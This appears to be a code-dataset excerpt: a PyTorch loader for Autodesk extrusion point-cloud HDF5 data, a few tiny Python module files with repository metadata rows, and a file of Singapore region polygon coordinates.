point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, extrusion_centers = load_h5(filename, center=True)
elif op and center:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, extrusion_operations, extrusion_centers = load_h5(filename, op=True, center=True)
else:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances = load_h5(filename)
else:
if op and not center:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, extrusion_operations, extrusion_extents = load_h5(filename, op=True, extent=True)
elif not op and center:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, extrusion_centers, extrusion_extents = load_h5(filename, center=True, extent=True)
elif op and center:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, extrusion_operations, extrusion_centers, extrusion_extents = load_h5(filename, op=True, center=True, extent=True)
else:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, extrusion_extents = load_h5(filename, extent=True)
self.pcs = point_cloud
self.normals = normals
self.extrusion_labels = extrusion_labels
self.extrusion_distances = extrusion_distances
self.extrusion_axes = extrusion_axes
self.bb_labels = bb_labels
self.n_samples = self.pcs.shape[0]
self.n_instances = n_instances
self.npoints = num_points
self.K = max_instances
## Includes extrusion operation label (add=0, cut=1, intersect=3)
self.op = op
if op:
self.operations = extrusion_operations
self.center = center
if center:
self.extrusion_centers = extrusion_centers
self.extent = extent
if extent:
self.extrusion_extents = extrusion_extents
print(np.max(self.n_instances))
if (np.max(self.n_instances) != self.K):
print("WARNING. K= " + str(self.K) + ", max_instance in data= " + str(np.max(self.n_instances)))
print("Number of samples: "+str(self.n_samples))
def __getitem__(self, index):
### Shuffle and sample point cloud
idx = torch.randperm(self.pcs.shape[1])
if (self.pcs.shape[1] < self.npoints):
print("ERROR. Sampling more points than point cloud resolution.")
selected_idx = idx[:self.npoints]
# print(selected_idx)
sampled_pcs = self.pcs[index][selected_idx,:]
sampled_normals = self.normals[index][selected_idx,:]
sampled_extrusion_labels = self.extrusion_labels[index][selected_idx]
sampled_bb_labels = self.bb_labels[index][selected_idx]
per_point_extrusion_axes = self.extrusion_axes[index][sampled_extrusion_labels]
per_point_extrusion_distances = self.extrusion_distances[index][sampled_extrusion_labels]
extrusion_axes = self.extrusion_axes[index][:self.K]
extrusion_distances = self.extrusion_distances[index][:self.K]
if not self.extent:
if not self.op and not self.center:
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances
elif not self.op and self.center:
sampled_extrusion_centers = self.extrusion_centers[index][:self.K]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_centers
elif self.op and not self.center:
sampled_extrusion_op = self.operations[index][selected_idx]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_op
else:
sampled_extrusion_centers = self.extrusion_centers[index][:self.K]
sampled_extrusion_op = self.operations[index][selected_idx]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_op, sampled_extrusion_centers
else:
sampled_extrusion_extents = self.extrusion_extents[index][:self.K]
if not self.op and not self.center:
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_extents
elif not self.op and self.center:
sampled_extrusion_centers = self.extrusion_centers[index][:self.K]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_centers, sampled_extrusion_extents
elif self.op and not self.center:
sampled_extrusion_op = self.operations[index][selected_idx]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_op, sampled_extrusion_extents
else:
sampled_extrusion_centers = self.extrusion_centers[index][:self.K]
sampled_extrusion_op = self.operations[index][selected_idx]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_op, sampled_extrusion_centers, sampled_extrusion_extents
def __len__(self):
return self.n_samples
class AutodeskDataset_h5_sketches(Dataset):
def __init__(self, filename, num_points, num_sk_points, max_instances, op=False, center=False, with_scale=False, extent=False):
if not extent:
if op and not center:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, extrusion_operations, sketches, sketches_norm_factors = load_h5_sk(filename, op=True)
elif not op and center:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, extrusion_centers, sketches, sketches_norm_factors = load_h5_sk(filename, center=True)
elif op and center:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, extrusion_operations, extrusion_centers, sketches, sketches_norm_factors = load_h5_sk(filename, op=True, center=True)
else:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, sketches, sketches_norm_factors = load_h5_sk(filename)
else:
if op and not center:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, extrusion_operations, sketches, sketches_norm_factors, extrusion_extents = load_h5_sk(filename, op=True, extent=True)
elif not op and center:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, extrusion_centers, sketches, sketches_norm_factors, extrusion_extents = load_h5_sk(filename, center=True, extent=True)
elif op and center:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, extrusion_operations, extrusion_centers, sketches, sketches_norm_factors, extrusion_extents = load_h5_sk(filename, op=True, center=True, extent=True)
else:
point_cloud, normals, extrusion_labels, bb_labels, n_instances, extrusion_axes, extrusion_distances, sketches, sketches_norm_factors, extrusion_extents = load_h5_sk(filename, extent=True)
self.pcs = point_cloud
self.normals = normals
self.extrusion_labels = extrusion_labels
self.extrusion_distances = extrusion_distances
self.extrusion_axes = extrusion_axes
self.bb_labels = bb_labels
self.n_samples = self.pcs.shape[0]
self.n_instances = n_instances
self.npoints = num_points
self.K = max_instances
## For sketches
self.sketches = sketches
self.num_sk_points = num_sk_points
self.with_scale = with_scale
self.sk_norm_factors = sketches_norm_factors
## Includes extrusion operation label (add=0, cut=1, intersect=3)
self.op = op
if op:
self.operations = extrusion_operations
self.center = center
if center:
self.extrusion_centers = extrusion_centers
self.extent = extent
if extent:
self.extrusion_extents = extrusion_extents
print(np.max(self.n_instances))
if (np.max(self.n_instances) != self.K):
print("WARNING. K= " + str(self.K) + ", max_instance in data= " + str(np.max(self.n_instances)))
print("Number of samples: "+str(self.n_samples))
def __getitem__(self, index):
### Shuffle and sample point cloud
idx = torch.randperm(self.pcs.shape[1])
#idx = torch.arange(self.pcs.shape[1])
if (self.pcs.shape[1] < self.npoints):
print("ERROR. Sampling more points than point cloud resolution.")
selected_idx = idx[:self.npoints]
# print(selected_idx)
sampled_pcs = self.pcs[index][selected_idx,:]
sampled_normals = self.normals[index][selected_idx,:]
sampled_extrusion_labels = self.extrusion_labels[index][selected_idx]
sampled_bb_labels = self.bb_labels[index][selected_idx]
per_point_extrusion_axes = self.extrusion_axes[index][sampled_extrusion_labels]
per_point_extrusion_distances = self.extrusion_distances[index][sampled_extrusion_labels]
extrusion_axes = self.extrusion_axes[index][:self.K]
extrusion_distances = self.extrusion_distances[index][:self.K]
## Sketch
sk_idx = torch.randperm(self.sketches.shape[2])
#sk_idx = torch.arange(self.sketches.shape[2])
selected_idx = sk_idx[:self.num_sk_points]
sampled_sketch = self.sketches[index][:,selected_idx,:]
if not self.extent:
if not self.with_scale:
if not self.op and not self.center:
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_sketch
elif not self.op and self.center:
sampled_extrusion_centers = self.extrusion_centers[index][:self.K]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_centers, sampled_sketch
elif self.op and not self.center:
sampled_extrusion_op = self.operations[index][selected_idx]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_op, sampled_sketch
else:
sampled_extrusion_centers = self.extrusion_centers[index][:self.K]
sampled_extrusion_op = self.operations[index][selected_idx]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_op, sampled_extrusion_centers, sampled_sketch
else:
sampled_norm_factors = self.sk_norm_factors[index]
if not self.op and not self.center:
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_sketch, sampled_norm_factors
elif not self.op and self.center:
sampled_extrusion_centers = self.extrusion_centers[index][:self.K]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_centers, sampled_sketch, sampled_norm_factors
elif self.op and not self.center:
sampled_extrusion_op = self.operations[index][selected_idx]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_op, sampled_sketch, sampled_norm_factors
else:
sampled_extrusion_centers = self.extrusion_centers[index][:self.K]
sampled_extrusion_op = self.operations[index][selected_idx]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_op, sampled_extrusion_centers, sampled_sketch, sampled_norm_factors
else:
sampled_extrusion_extents = self.extrusion_extents[index][:self.K]
if not self.with_scale:
if not self.op and not self.center:
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_sketch, sampled_extrusion_extents
elif not self.op and self.center:
sampled_extrusion_centers = self.extrusion_centers[index][:self.K]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_centers, sampled_sketch, sampled_extrusion_extents
elif self.op and not self.center:
sampled_extrusion_op = self.operations[index][selected_idx]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_op, sampled_sketch, sampled_extrusion_extents
else:
sampled_extrusion_centers = self.extrusion_centers[index][:self.K]
sampled_extrusion_op = self.operations[index][selected_idx]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_op, sampled_extrusion_centers, sampled_sketch, sampled_extrusion_extents
else:
sampled_norm_factors = self.sk_norm_factors[index]
if not self.op and not self.center:
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_sketch, sampled_norm_factors, sampled_extrusion_extents
elif not self.op and self.center:
sampled_extrusion_centers = self.extrusion_centers[index][:self.K]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_centers, sampled_sketch, sampled_norm_factors, sampled_extrusion_extents
elif self.op and not self.center:
sampled_extrusion_op = self.operations[index][selected_idx]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_op, sampled_sketch, sampled_norm_factors, sampled_extrusion_extents
else:
sampled_extrusion_centers = self.extrusion_centers[index][:self.K]
sampled_extrusion_op = self.operations[index][selected_idx]
return sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances, sampled_extrusion_op, sampled_extrusion_centers, sampled_sketch, sampled_norm_factors, sampled_extrusion_extents
def __len__(self):
return self.n_samples
if __name__ == "__main__":
fname = "../../autodesk_data_extrusions/data_ss_dense_ext2_8_filtersmallext/train.h5"
num_points = 4096
max_instances = 8
dataset = AutodeskDataset_h5(fname, num_points, max_instances)
print(len(dataset))
sampled_pcs, sampled_normals, sampled_extrusion_labels, sampled_bb_labels, per_point_extrusion_axes, \
per_point_extrusion_distances, extrusion_axes, extrusion_distances = dataset[0]
print(sampled_pcs)
print(sampled_normals)
print(sampled_extrusion_labels)
print(sampled_bb_labels)
print(per_point_extrusion_axes)
print(per_point_extrusion_distances)
print(extrusion_axes)
print(extrusion_distances)
print()
print(sampled_pcs.shape)
print(sampled_normals.shape)
print(sampled_extrusion_labels.shape)
print(sampled_bb_labels.shape)
print(per_point_extrusion_axes.shape)
print(per_point_extrusion_distances.shape)
print(extrusion_axes.shape)
print(extrusion_distances.shape)
| 53.598784 | 254 | 0.798287 | 2,346 | 17,634 | 5.607417 | 0.05243 | 0.115545 | 0.074952 | 0.096617 | 0.918206 | 0.90688 | 0.90688 | 0.889852 | 0.888027 | 0.888027 | 0 | 0.002785 | 0.124419 | 17,634 | 328 | 255 | 53.762195 | 0.849223 | 0.021096 | 0 | 0.674157 | 0 | 0 | 0.018854 | 0.004351 | 0 | 0 | 0 | 0 | 0 | 1 | 0.022472 | false | 0 | 0.029963 | 0.007491 | 0.157303 | 0.097378 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f83204efe87f5d82e313818f45f2c997f4f7104e | 30 | py | Python | valueiter/__init__.py | piyush2896/ValueIteration-RL | c47351b9d26e0853311a4a601ad8964d922172bf | [
"MIT"
] | 1 | 2022-01-04T06:20:43.000Z | 2022-01-04T06:20:43.000Z | valueiter/__init__.py | piyush2896/ValueIteration-RL | c47351b9d26e0853311a4a601ad8964d922172bf | [
"MIT"
] | null | null | null | valueiter/__init__.py | piyush2896/ValueIteration-RL | c47351b9d26e0853311a4a601ad8964d922172bf | [
"MIT"
] | null | null | null | from .helper import value_iter | 30 | 30 | 0.866667 | 5 | 30 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 30 | 1 | 30 | 30 | 0.925926 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f8c81984d61e407bc74429fd15273bc672b0e9e4 | 121 | py | Python | src/telliot_core/model/base.py | QuintusTheFifth/telliot-core | e22bc3b98d368fa91528f4a273ef26eddfefacaf | [
"MIT"
] | 9 | 2021-12-15T07:03:34.000Z | 2022-03-30T20:16:45.000Z | src/telliot_core/model/base.py | QuintusTheFifth/telliot-core | e22bc3b98d368fa91528f4a273ef26eddfefacaf | [
"MIT"
] | 77 | 2021-09-03T04:01:20.000Z | 2021-11-09T14:45:52.000Z | src/telliot_core/model/base.py | QuintusTheFifth/telliot-core | e22bc3b98d368fa91528f4a273ef26eddfefacaf | [
"MIT"
] | 7 | 2021-12-17T03:39:23.000Z | 2022-03-29T08:53:43.000Z | """
"""
from clamfig import Serializable
class Base(Serializable):
"""Project-wide serializable model"""
pass
| 12.1 | 41 | 0.677686 | 12 | 121 | 6.833333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.190083 | 121 | 9 | 42 | 13.444444 | 0.836735 | 0.256198 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
3e10e293e3079e89729312452d1e9d1c7871876a | 26 | py | Python | cf/backend/endpoints/token/__init__.py | doublevcodes/cf-cli | 7e69b7189f9f51a13cda10a19cdee5440533b90f | [
"MIT"
] | null | null | null | cf/backend/endpoints/token/__init__.py | doublevcodes/cf-cli | 7e69b7189f9f51a13cda10a19cdee5440533b90f | [
"MIT"
] | null | null | null | cf/backend/endpoints/token/__init__.py | doublevcodes/cf-cli | 7e69b7189f9f51a13cda10a19cdee5440533b90f | [
"MIT"
] | null | null | null | from .verify import verify | 26 | 26 | 0.846154 | 4 | 26 | 5.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115385 | 26 | 1 | 26 | 26 | 0.956522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e43151c9ab9c85c110a15d0cbc89ab09112d20b7 | 34 | py | Python | copper/shout/parsers/ifd/__init__.py | cinepost/Copperfield_FX | 1900b506d0a407a3fb5774ab129b984a547ee0b5 | [
"Unlicense"
] | 6 | 2016-07-28T13:59:34.000Z | 2021-12-28T05:44:15.000Z | copper/shout/parsers/ifd/__init__.py | cinepost/Copperfield_FX | 1900b506d0a407a3fb5774ab129b984a547ee0b5 | [
"Unlicense"
] | 5 | 2016-06-30T10:19:25.000Z | 2022-03-11T23:19:01.000Z | copper/shout/parsers/ifd/__init__.py | cinepost/Copperfield_FX | 1900b506d0a407a3fb5774ab129b984a547ee0b5 | [
"Unlicense"
] | 3 | 2019-03-18T05:17:10.000Z | 2020-02-14T06:56:40.000Z | from .parser_ifd import ParserIFD
| 17 | 33 | 0.852941 | 5 | 34 | 5.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117647 | 34 | 1 | 34 | 34 | 0.933333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e4c24128201cb86b087718bbf5bf30bcb9c5327b | 43 | py | Python | reward/utils/filter/__init__.py | lgvaz/torchrl | cfff8acaf70d1fec72169162b95ab5ad3547d17a | [
"MIT"
] | 5 | 2018-06-21T14:33:40.000Z | 2018-08-18T02:26:03.000Z | reward/utils/filter/__init__.py | lgvaz/reward | cfff8acaf70d1fec72169162b95ab5ad3547d17a | [
"MIT"
] | null | null | null | reward/utils/filter/__init__.py | lgvaz/reward | cfff8acaf70d1fec72169162b95ab5ad3547d17a | [
"MIT"
] | 2 | 2018-05-08T03:34:49.000Z | 2018-06-22T15:04:17.000Z | from .mean_std_filter import MeanStdFilter
| 21.5 | 42 | 0.883721 | 6 | 43 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.093023 | 43 | 1 | 43 | 43 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e4c373ca7a9781207f1bd7318099aba462aebe29 | 25,485 | py | Python | polygons.py | ariua91/clean-anomalies-vf | febc98aa1888a717ed9ec8d0ccca3cb2e1edd55f | [
"MIT"
] | null | null | null | polygons.py | ariua91/clean-anomalies-vf | febc98aa1888a717ed9ec8d0ccca3cb2e1edd55f | [
"MIT"
] | 1 | 2021-06-01T23:11:50.000Z | 2021-06-01T23:11:50.000Z | polygons.py | ariua91/clean-anomalies-vf | febc98aa1888a717ed9ec8d0ccca3cb2e1edd55f | [
"MIT"
] | null | null | null | from shapely.geometry import Point
from shapely.geometry.polygon import Polygon
POLYGON_INPUTS = {
"c-E": [
(103.8631892,1.2398037,0),
(103.8922921,1.2498086,0),
(103.866783,1.2874469,0),
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(103.8655235,1.3120205,0),
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(103.832309,1.265496,0),
(103.857436,1.253976,0),
(103.8631892,1.2398037,0),
],
"c-W": [
(103.843508,1.2330761,0),
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(103.857436,1.253976,0),
(103.832309,1.265496,0),
(103.823833,1.261527,0),
(103.823801,1.265844,0),
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(103.8283633,1.2781527,0),
(103.8297286,1.279912,0),
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(103.7924876,1.2850826,0),
(103.7980688,1.2773037,0),
(103.8015923,1.2758617,0),
(103.8017728,1.2731492,0),
(103.7985327,1.264654,0),
(103.8122656,1.243888,0),
(103.843508,1.2330761,0),
],
"c-NE": [
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(103.8596304,1.3457445,0),
],
"c-N": [
(103.802947,1.312236,0),
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(103.8606196,1.3259159,0),
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(103.8621276,1.3375139,0),
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],
"NE-2": [
(103.8562456,1.399428,0),
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],
"NE-1": [
(103.8729265,1.341828,0),
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(103.901292,1.340966,0),
(103.9184784,1.3813732,0),
(103.9160322,1.3838509,0),
(103.9094769,1.3915519,0),
(103.9068913,1.3944371,0),
(103.9035761,1.3969469,0),
(103.9010548,1.3983305,0),
(103.8983404,1.3994138,0),
(103.8959908,1.3999823,0),
(103.8859379,1.4012801,0),
(103.8828265,1.4013766,0),
(103.8745653,1.401205,0),
(103.8605427,1.4008189,0),
(103.8583862,1.4003255,0),
(103.8562456,1.399428,0),
(103.857554,1.39609,0),
(103.858243,1.391242,0),
(103.858334,1.384292,0),
(103.858257,1.379058,0),
(103.858471,1.376773,0),
(103.858814,1.375175,0),
(103.860594,1.37082,0),
(103.860978,1.369362,0),
(103.860931,1.368203,0),
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(103.85713,1.357092,0),
(103.856841,1.355247,0),
(103.857034,1.353189,0),
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(103.8729265,1.341828,0),
],
"N-3": [
(103.763091,1.4490684,0),
(103.74125,1.446686,0),
(103.739105,1.422726,0),
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(103.751271,1.404943,0),
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(103.752022,1.399666,0),
(103.756292,1.398507,0),
(103.764296,1.40061,0),
(103.7716776,1.4099059,0),
(103.7711793,1.4238974,0),
(103.770793,1.4260855,0),
(103.7688846,1.43135,0),
(103.768155,1.4430193,0),
(103.763091,1.4490684,0),
],
"N-2": [
(103.7711793,1.4238974,0),
(103.7712839,1.4214798,0),
(103.77417,1.423818,0),
(103.7750068,1.4243757,0),
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(103.7783757,1.4258987,0),
(103.7801245,1.4263063,0),
(103.7821951,1.4265852,0),
(103.7841263,1.4265744,0),
(103.7859395,1.4264135,0),
(103.7877741,1.4260381,0),
(103.7900165,1.4252337,0),
(103.7924841,1.4239574,0),
(103.7951878,1.4224558,0),
(103.7981489,1.4208684,0),
(103.8001445,1.4195385,0),
(103.8049617,1.415452,0),
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(103.8091245,1.4063353,0),
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(103.8115707,1.4031283,0),
(103.8129547,1.4004684,0),
(103.8135448,1.3989024,0),
(103.8141563,1.3972292,0),
(103.8149395,1.3961781,0),
(103.8159802,1.3954059,0),
(103.8166562,1.3949983,0),
(103.8219347,1.3934216,0),
(103.823351,1.393132,0),
(103.8257757,1.3929175,0),
(103.8279214,1.3930033,0),
(103.8295522,1.3932286,0),
(103.841708,1.3962639,0),
(103.8434675,1.3965213,0),
(103.8451198,1.3966501,0),
(103.8484672,1.3965428,0),
(103.8501409,1.3965213,0),
(103.8513747,1.3967573,0),
(103.8540891,1.3979854,0),
(103.8562456,1.399428,0),
(103.856007,1.400038,0),
(103.849561,1.408769,0),
(103.871267,1.438779,0),
(103.8636896,1.4504759,0),
(103.8351076,1.4719269,0),
(103.8075136,1.4733859,0),
(103.7979856,1.4690949,0),
(103.7734386,1.4530069,0),
(103.763091,1.4490684,0),
(103.768155,1.4430193,0),
(103.7688846,1.43135,0),
(103.770793,1.4260855,0),
(103.7711793,1.4238974,0),
],
"N-1": [
(103.8604051,1.3436704,0),
(103.857679,1.35096,0),
(103.857034,1.353189,0),
(103.856841,1.355247,0),
(103.85713,1.357092,0),
(103.8589322,1.3622266,0),
(103.8596904,1.3643822,0),
(103.86058,1.366916,0),
(103.860931,1.368203,0),
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(103.860594,1.37082,0),
(103.858814,1.375175,0),
(103.858471,1.376773,0),
(103.858257,1.379058,0),
(103.8583412,1.3843348,0),
(103.858243,1.391242,0),
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(103.8513747,1.3967573,0),
(103.8501409,1.3965213,0),
(103.8451198,1.3966501,0),
(103.8434675,1.3965213,0),
(103.841708,1.3962639,0),
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(103.8257757,1.3929175,0),
(103.823351,1.393132,0),
(103.8218919,1.3934216,0),
(103.8166562,1.3949983,0),
(103.8149395,1.3961781,0),
(103.8141563,1.3972292,0),
(103.8129547,1.4004684,0),
(103.8115707,1.4031283,0),
(103.8102296,1.4048123,0),
(103.8091245,1.4063353,0),
(103.8080087,1.4086413,0),
(103.8068071,1.4120413,0),
(103.8058522,1.4142079,0),
(103.8049617,1.415452,0),
(103.8001445,1.4195385,0),
(103.7981489,1.4208684,0),
(103.7900165,1.4252337,0),
(103.7877741,1.4260381,0),
(103.7859395,1.4264135,0),
(103.7841263,1.4265744,0),
(103.7821951,1.4265852,0),
(103.7801245,1.4263063,0),
(103.7783757,1.4258987,0),
(103.7763801,1.4251372,0),
(103.7750068,1.4243757,0),
(103.77417,1.423818,0),
(103.7712839,1.4214798,0),
(103.7716776,1.4099059,0),
(103.7733936,1.4025699,0),
(103.7738236,1.3990299,0),
(103.7739516,1.3953409,0),
(103.7755286,1.3829309,0),
(103.7759046,1.3805609,0),
(103.7789946,1.3691919,0),
(103.77966,1.3653,0),
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(103.7813976,1.3594949,0),
(103.7826636,1.3575859,0),
(103.7844656,1.3556769,0),
(103.7892726,1.3523519,0),
(103.7902386,1.3512149,0),
(103.7915256,1.3491989,0),
(103.7940146,1.3493059,0),
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(103.7965896,1.3485759,0),
(103.7973836,1.3480829,0),
(103.7998296,1.3457659,0),
(103.8023516,1.3432029,0),
(103.8050016,1.3405109,0),
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(103.8189656,1.3439403,0),
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(103.8493627,1.3441403,0),
(103.8534999,1.3435192,0),
(103.8604051,1.3436704,0),
],
"E-3": [
(103.936341,1.401028,0),
(103.925894,1.391504,0),
(103.91874,1.382023,0),
(103.9184784,1.3813732,0),
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(103.9287438,1.3771273,0),
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(103.9554454,1.3647991,0),
(103.9575111,1.3637186,0),
(103.9596412,1.3619303,0),
(103.9611275,1.3601419,0),
(103.962789,1.3572458,0),
(103.9643034,1.3515288,0),
(103.9639785,1.3496946,0),
(103.9646008,1.3493628,0),
(103.9661458,1.3481454,0),
(103.9699384,1.3424017,0),
(103.9708933,1.3411897,0),
(103.9721271,1.3402673,0),
(103.9901085,1.3322917,0),
(103.9751739,1.2979255,0),
(104.0266724,1.3017011,0),
(104.05019,1.3588489,0),
(103.9904518,1.4007222,0),
(103.936341,1.401028,0),
],
"E-2": [
(103.8655238,1.312015,0),
(103.8695792,1.3025814,0),
(103.866044,1.2992778,0),
(103.865135,1.2971914,0),
(103.8667833,1.2874414,0),
(103.8922923,1.2498031,0),
(103.9751742,1.29792,0),
(103.9901088,1.3322862,0),
(103.9721274,1.3402618,0),
(103.9708936,1.3411842,0),
(103.9699386,1.3423962,0),
(103.966146,1.3481399,0),
(103.964601,1.3493573,0),
(103.9639788,1.3496891,0),
(103.9614973,1.3505159,0),
(103.9597574,1.3505862,0),
(103.9577157,1.3501278,0),
(103.9559732,1.3491586,0),
(103.9400365,1.3357687,0),
(103.9390766,1.3351676,0),
(103.9379744,1.3350065,0),
(103.9299452,1.3355373,0),
